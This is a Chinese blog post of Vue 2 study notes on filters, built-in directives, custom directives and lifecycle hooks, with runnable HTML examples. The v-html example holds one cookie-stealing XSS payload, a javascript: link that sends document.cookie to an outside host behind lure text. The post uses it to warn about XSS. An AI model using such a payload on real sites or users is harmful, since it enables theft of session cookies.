Vue2学习笔记（尚硅谷张天禹老师）Day-03

最新推荐文章于 2023-08-08 19:05:57 发布
最新推荐文章于 2023-08-08 19:05:57 发布
阅读量940 收藏 7
点赞数
分类专栏： 前端 文章标签： vue
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_53916344/article/details/124191472
版权

12、过滤器

  1. 定义：对要显示的数据进行特定格式化后再显示（使用于一些简单逻辑的处理）
  2. 语法：
    • 注册过滤器： 全局过滤器 Vue.filter(name, callback)或局部过滤器 new Vue(filters:{})
    • 使用过滤器：插值语法 {undefined{xxx | 过滤器名}} 或 v-bind:属性 = “xxx | 过滤器名”
  3. 备注：
    • 过滤器也可以接收额外参数，多个过滤器也可以串联
    • 并没有改变原本的数据，是产生新的对应数据
<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>过滤器</title>
		<script type="text/javascript" src="../js/vue.js"></script>
		<script src="https://cdn.bootcdn.net/ajax/libs/dayjs/1.10.6/dayjs.min.js"></script>
	</head>
	<body>
		<div id="root">
			<h2>时间</h2>
            <h3>当前时间戳：{{time}}</h3>
            <h3>转换后时间：{{time | timeFormater()}}</h3>
			<h3>转换后时间：{{time | timeFormater('YYYY-MM-DD HH:mm:ss')}}</h3>
			<h3>截取年月日：{{time | timeFormater() | mySlice}}</h3>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false
		//全局过滤器
		Vue.filter('mySlice',function(value){
			return value.slice(0,11)
		})
		new Vue({
            el:'#root',
            data:{
                time:1626750147900,
            },
			//局部过滤器
            filters:{
                timeFormater(value, str="YYYY年MM月DD日 HH:mm:ss"){
                    return dayjs(value).format(str)
                }
            }
        })
	</script>
</html>

13、内置指令

之前学过的内置指令：

  • v-bind：单向绑定解析表达式，可简写为:
  • v-model：双向数据绑定
  • v-for：遍历数组 / 对象 / 字符串
  • v-on：绑定事件监听，可简写为@
  • v-if：条件渲染（动态控制节点是否存存在）
  • v-else：条件渲染（动态控制节点是否存存在）
  • v-show：条件渲染 (动态控制节点是否展示)

剩余内置指令：

v-text指令

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>v-text指令</title>
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<div id="root">
			<div>你好，{{name}}</div>
			<div v-text="name"></div>
			<div v-text="str"></div>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false 
		
		new Vue({
			el:'#root',
			data:{
				name:'JOJO',
				str:'<h3>你好啊！</h3>'
			}
		})
	</script>
</html>
  • v-text：作用：向其所在节点中渲染文本内容，与插值语法相比的区别：v-text会替换掉节点中的内容。插值语法则不会。

v-html指令

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>v-html指令</title>
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<div id="root">
			<div>Hello，{{name}}</div>
			<div v-html="str"></div>
			<div v-html="str2"></div>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

		new Vue({
			el:'#root',
			data:{
				name:'JOJO',
				str:'<h3>你好啊！</h3>',
				str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了，快来！</a>',
			}
		})
	</script>
</html>

v-html指令：

  • 作用：向指定节点中渲染包含html结构的内容

  • 与插值语法的区别：

    • v-html会替换掉节点中所有的内容，{{xx}}则不会
    • v-html可以识别html结构

  • 严重注意：v-html有安全性问题！！！

    • 在网站上动态渲染任意HTML是非常危险的，容易导致XSS攻击
    • 一定要在可信的内容上使用v-html，永远不要用在用户提交的内容上！！！

v-cloak指令

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>v-cloak指令</title>
		<style>
			[v-cloak]{
				display:none;
			}
		</style>
	</head>
	<body>
		<div id="root">
			<h2 v-cloak>{{name}}</h2>
		</div>
		<script type="text/javascript" src="../js/vue.js"></script>
	</body>
	
	<script type="text/javascript">
		Vue.config.productionTip = false
		
		new Vue({
			el:'#root',
			data:{
				name:'尚硅谷'
			}
		})
	</script>
</html>

v-cloak指令（没有值）：

  1. 本质是一个特殊属性，Vue实例创建完毕并接管容器后，会删掉v-cloak属性
  2. 使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题

v-once指令

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>v-once指令</title>
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<div id="root">
			<h2 v-once>n初始化的值是：{{n}}</h2>
            <h2>n现在的值是：{{n}}</h2>
            <button @click="n++">点我n+1</button>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false 
		
		new Vue({
			el:'#root',
			data:{
				n:1
			}
		})
	</script>
</html>

v-once指令：

  1. v-once所在节点在初次动态渲染后，就视为静态内容了
  2. 以后数据的改变不会引起v-once所在结构的更新，可以用于优化性能

v-pre指令

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>v-pre指令</title>
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<div id="root">
			<h2 v-pre>Vue其实很简单</h2>
			<h2>当前的n值是:{{n}}</h2>
			<button @click="n++">点我n+1</button>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false

		new Vue({
			el:'#root',
			data:{
				n:1
			}
		})
	</script>
</html>

v-pre指令：

  1. 跳过其所在节点的编译过程。
  2. 可利用它跳过：没有使用指令语法、没有使用插值语法的节点，会加快编译

14、自定义指令

自定义指令的语法：

  • 局部指令：
 new Vue({															
 	directives:{指令名:配置对象}   
 }) 

 new Vue({															
 	directives:{指令名:配置对象}   
 })

全局指令

  • Vue.directive(指令名,配置对象)
  • Vue.directive(指令名,回调函数)

例：

Vue.directive('fbind',{
	//指令与元素成功绑定时（一上来）
	bind(element,binding){
		element.value = binding.value
	},
    //指令所在元素被插入页面时
    inserted(element,binding){
    	element.focus()
    },
    //指令所在的模板被重新解析时
    update(element,binding){
    	element.value = binding.value
    }
})
  1. 配置对象中常用的3个回调函数：
    • bind(element,binding)：指令与元素成功绑定时调用
    • inserted(element,binding)：指令所在元素被插入页面时调用
    • update(element,binding)：指令所在模板结构被重新解析时调用
  2. 备注：
    1. 指令定义时不加“v-”，但使用时要加“v-”
    2. 指令名如果是多个单词，要使用kebab-case命名方式，不要用camelCase命名
new Vue({
	el:'#root',
	data:{
		n:1
	},
	directives:{
		'big-number'(element,binding){
			element.innerText = binding.value * 10
		}
	}
})

例：

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>自定义指令</title>
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
    <!-- 
		需求1：定义一个v-big指令，和v-text功能类似，但会把绑定的数值放大10倍。
		需求2：定义一个v-fbind指令，和v-bind功能类似，但可以让其所绑定的input元素默认获取焦点。
	-->
	<body>
		<div id="root">
			<h2>当前的n值是：<span v-text="n"></span> </h2>
			<h2>放大10倍后的n值是：<span v-big="n"></span> </h2>
			<button @click="n++">点我n+1</button>
			<hr/>
			<input type="text" v-fbind:value="n">
		</div>
	</body>
	
	<script type="text/javascript">
		Vue.config.productionTip = false

		new Vue({
			el:'#root',
			data:{
				n:1
			},
			directives:{
                //big函数何时会被调用？1.指令与元素成功绑定时（一上来） 2.指令所在的模板被重新解析时
				big(element,binding){
					console.log('big',this) //注意此处的this是window
					element.innerText = binding.value * 10
				},
				fbind:{
					//指令与元素成功绑定时（一上来）
					bind(element,binding){
						element.value = binding.value
					},
					//指令所在元素被插入页面时
					inserted(element,binding){
						element.focus()
					},
					//指令所在的模板被重新解析时
					update(element,binding){
						element.value = binding.value
					}
				}
			}
		})
	</script>
</html>

15、Vue生命周期

15.1、引出生命周期

生命周期又名生命周期回调函数、生命周期函数、生命周期钩子，是Vue在关键时刻帮我们调用的一些特殊名称的函数。

生命周期函数的名字不可更改，但函数的具体内容是根据需求编写的

生命周期函数中的this指向是vm 或组件实例对象

15.2、生命周期各个流程（挂载流程、更新流程、销毁流程）

在这里插入图片描述
上面的生命周期流程中有创建、挂载、更新、销毁四个阶段，这四个阶段前后都对应两个生命周期函数，一共八个生命周期函数（还有三个其他生命周期函数到路由的时候在介绍），下面将上图流程细化讲解。

①创建阶段以及前后对应的两个函数：
（这里的创建不是之vue实例的创建，而是数据监测和数据代理是否初始化了）
在这里插入图片描述
创建阶段，也就是初始化数据监测和数据代理阶段，前后两个函数为：

之前的beforeCreate：此时无法通过vm访问到data中的数据、methods中的方法
之后的created：此时可以通过vm访问到data中的数据、methods中的方法

（创建阶段结束后到挂载阶段开始之前，Vue开始解析模板，生成虚拟DOM（内存中），页面还不能显示解析好的内容）
在这里插入图片描述
②挂载阶段以及前后对应的两个函数：
（挂载阶段所做的是将上面解析好的模板而生成的虚拟DOM转为真实DOM插入页面）
在这里插入图片描述
挂载前后的两个函数：
之前的beforeMount：此时（1）页面呈现的是未经Vue编译的DOM结构 （2）所有DOM的操作均不奏效
之后的mounted：此时（1）页面中呈现的是经过Vue编译的DOM （2）对DOM的操作均有效（尽可能避免）。至此初始化过程结束，一般在这个函数内进行：开启定时器、发送网络请求、订阅消息、绑定自定义事件等初始化操作

③更新阶段以及前后对应的两个函数：
（更新阶段就是 根据新数据，生成新的虚拟DOM，随后与旧的虚拟DOM进行比较，最终完成页面更新，即：完成了Model -> View的更新）

在这里插入图片描述
更新前后的两个函数：
之前的beforeUpdate：此时数据是新的，但页面时旧的，即：页面尚未和数据保持同步
之后的updated：此时数据是新的，页面也是新的，即页面和数据保持同步

④销毁阶段以及前后对应的两个函数：

在这里插入图片描述
销毁前后的两个函数：
之前的beforeDestroy：vm中所有的e:data、methods、指令等等都处于可用状态，但马上要执行销毁过程。一般在此阶段：关闭定时器、取消订阅消息、解绑自定义事件等收尾操作
之后的destroyed：无

总结一波：
第一点：四个阶段，八个生命周期函数。
在这里插入图片描述
第二点：其中挂载之后的mounted函数和销毁之前的beforeDestroy函数是常用的，重要。
（1）mounted：发送ajax请求、开启定时器、订阅消息、绑定自定义事件等初始化操作
（2）beforeDestroy：一般在此阶段：关闭定时器、取消订阅消息、解绑自定义事件等收尾操作

第三点：关于销毁Vue实例：
（1）销毁后借助Vue开发者工具看不到任何信息
（2）销毁后自定义事件会失效，但原生DOM事件依然有效
（3）一般不会再beforeDestroy操作数据，因为几遍操作数据了也不会再触发更新流程了

例：

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>引出生命周期</title>
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<div id="root">
			<h2 :style="{opacity}">欢迎学习Vue</h2>
			<button @click="opacity = 1">透明度设置为1</button>
			<button @click="stop">点我停止变换</button>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false 

		 new Vue({
			el:'#root',
			data:{
				opacity:1
			},
			methods: {
				stop(){
					this.$destroy()
				}
			},
			mounted(){
				console.log('mounted',this)
				this.timer = setInterval(() => {
					console.log('setInterval')
					this.opacity -= 0.01
					if(this.opacity <= 0) this.opacity = 1
				},16)
			},
			beforeDestroy() {
				clearInterval(this.timer)
				console.log('vm即将驾鹤西游了')
			},
		})
	</script>
</html>
也曾眼眸有光
关注
  • 0
    点赞
  • 踩
  • 7
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
专栏目录
Vue全家桶
caronil的博客
03-27 1838
Vue 技术栈(全家桶) 文章目录Vue 技术栈(全家桶)第 1 章：Vue 核心1.1. Vue 简介1.1.1. 官网1.1.2. 介绍与描述1.1.3. Vue 的特点1.1.4. 与其它 JS 框架的关联1.1.5. Vue 周边库1.2. 初识 Vue1.3. 模板语法1.3.1. 效果1.3.2. 模板的理解1.3.3. 插值语法1.3.4. 指令语法1.4 数据绑定1.4.1. 效果1.4.2. 单向数据绑定1.4.3. 双向数据绑定1.5. MVVM 模型1.6. 事件处理1.6.1. 效果
Vue3 尚硅谷-张天禹
ACBYCL的博客
09-09 2000
观看尚硅谷张天禹老师做的Vue3笔记
Vue2学习笔记（尚硅谷张天禹老师）day-01
运气只是当机会来临时，你已为它准备好。
04-01 4652
Vue 一、vue核心 1、vue简介 1.1、vue是什么 一套用于构建用户界面的渐进式JavaScript框架。 渐进式：vue可以自底向上逐层应用；简单应用：只需一个轻量小巧的核心库；复杂应用：可以引入各式各样的的vue插件。 1.2、谁开发的 华人 尤雨溪； vue2（攻壳机动队） vue3（海贼王） 1.3、vue的特点 采用组件化模式，提高代码复用率、且让代码更好的维护 声明式编码（原生js为命令式编码），使无需直接操作DOM，提高开发效率 使用虚拟DOM+优秀的Diff算法，尽量复用DOM
尚硅谷张天禹老师vue学习
weixin_45691227的博客
05-23 338
一般简化为
Vue2笔记——（尚硅谷张天禹Vue笔记)
csdnidofkdy2138的博客
08-08 2709
什么是Vue？一套用于构建用户界面的渐进式JavaScript框架。将数据转变成用户可看到的界面。什么是渐进式？Vue可以自底向上逐层的应用简单应用:只需一个轻量小巧的核心库复杂应用:可以引入各式各样的Vue插件Vue的特点是什么？1.采用组件化模式，提高代码复用率、且让代码更好维护。2.声明式编码，让编码人员无需直接操作DOM，提高开发效率。3.使用虚拟DOM+优秀的Diff 算法，尽量复用DOM节点。
Vue3.0尚硅谷（讲师：张天禹）视频学习笔记
qq_48105178的博客
10-26 3860
尚硅谷Vue2.0+Vue3.0全套教程丨vuejs从入门到精通之Vue3.0
Vue3笔记 尚硅谷张天禹
03-07
Vue3笔记尚硅谷张天禹 markdown格式
Vue2笔记尚硅谷张天禹
03-07
Vue2笔记尚硅谷张天禹 markdown格式
最新尚硅谷vue系列笔记
02-11
8. **学习资源**："尚硅谷vue系列笔记"可能包含的是针对Vue.js的学习资料，涵盖基础到高级的内容，帮助开发者深入理解Vue及其应用。`vue-learning-master.zip`和`vue-advance-master.zip`可能是不同阶段的学习资源，...
Vue2学习笔记之请求数据交互vue-resource
01-21
必须引入一个库：vue-resource github地址 // 基于全局Vue对象使用http Vue.http.get('/someUrl', [options]).then(successCallback, errorCallback); Vue.http.post('/someUrl', [body], [options]).then...
尚硅谷vue课程笔记整理
05-30
尚硅谷vue课程笔记整理
基于全网最棒的Vue教学视频（尚硅谷张天禹老师）整理出的最详细的Vue指令笔记
热爱编程的你我
05-10 1955
基于全网最棒的Vue教学视频（尚硅谷张天禹老师）整理出的最详细的Vue指令笔记
Vue2基础、组件化编程、脚手架、Vuex、Vue路由、UI组件库
十二间记，知不足而奋斗，望远山而前行。千里不辞行路远，时光早晚到天涯。
01-20 3106
Vue2基础、组件化编程、脚手架、Vuex、Vue路由、UI组件库（长文警告！）
Vue2学习（尚硅谷张天禹老师）——Day04——组件化编程
运气只是当机会来临时，你已为它准备好。
04-15 1967
二、Vue组件化编程 1、模块、组件、模块化、组件化 1.1、模块与模块化 ①模块 （1）理解: 向外提供特定功能的 js 程序, 一般就是一个 js 文件 （2）为什么: js 文件很多很复杂 （3）作用: 复用 js, 简化 js 的编写, 提高 js 运行效率 ②模块化 当应用中的 js 都以模块来编写的, 那这个应用就是一个模块化的应用。 1.2、组件与组件化 ①组件 理解: 用来实现局部(特定)功能效果的代码集合(html/css/js/image……) 为什么: 一个界面的功能很复杂 ②组件化
Vue中自定义指令
richest_qi的博客
02-07 1064
实现一个自定义指令v-big，功能和v-text类似，用于渲染其所在节点的文本内容，且会把绑定的值放大10倍。 <body> <div id="root"> <h2>当前的n值是：<span v-text="n"></span></h2> <h2>放大10倍的n值是：<span v-big="n"></span></h2> <b
Vue尚硅谷张天禹学习笔记
m0_48038376的博客
01-15 1037
js中的页面渲染是以如下这种方式实现的每次都会把最新的数据渲染到Dom里面，如果有新的数据，老的数据就会被覆盖了。
Vue学习笔记（张天禹老师Vue）
qq_52940883的博客
04-25 2769
文章来源于B站尚硅谷张天禹老师的Vue教学视频，包括了Vue组件化编程、生命周期、插槽、守卫、Vuex等知识（力推张天禹老师）
尚硅谷 张天禹老师vue2笔记（方便自己查阅）
Maynor的博客
10-19 4681
视频链接： https://www.bilibili.com/video/BV1Zy4y1K7SH?p=2&spm_id_from=pageDriver 尚硅谷 张天禹老师vue2笔记 脚手架文件结构 ├── node_modules ├── public │ ├── favicon.ico: 页签图标 │ └── index.html: 主页面 ├── src │ ├── assets: 存放静态资源 │ │ └── logo.png │ │── component: 存
Vue最全笔记
Tacit_zfy99的博客
08-14 1075
https://www.bilibili.com/video/BV1Zy4y1K7SH B站2021最新版vue教学，尚硅谷前端 讲的极好，这里把笔记copy一份，以便查阅。 一、vue基础 1 初识Vue： ​ 1.想让Vue工作，就必须创建一个Vue实例，且要传入一个配置对象； ​ 2.root容器里的代码依然符合html规范，只不过混入了一些特殊的Vue语法； ​ 3.root容器里的代码被称为【Vue模板】； ​ 4.Vue实例和容器是一一.
vue2学习笔记尚硅谷
最新发布
09-15
抱歉，我不能提供来自尚硅谷的学习笔记。但是，我可以为您提供一些关于Vue.js 2的学习笔记。以下是一些重要的主题和概念，供您参考： 1. Vue.js介绍： - Vue.js是一个轻量级的JavaScript框架，用于构建用户界面。 ...
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值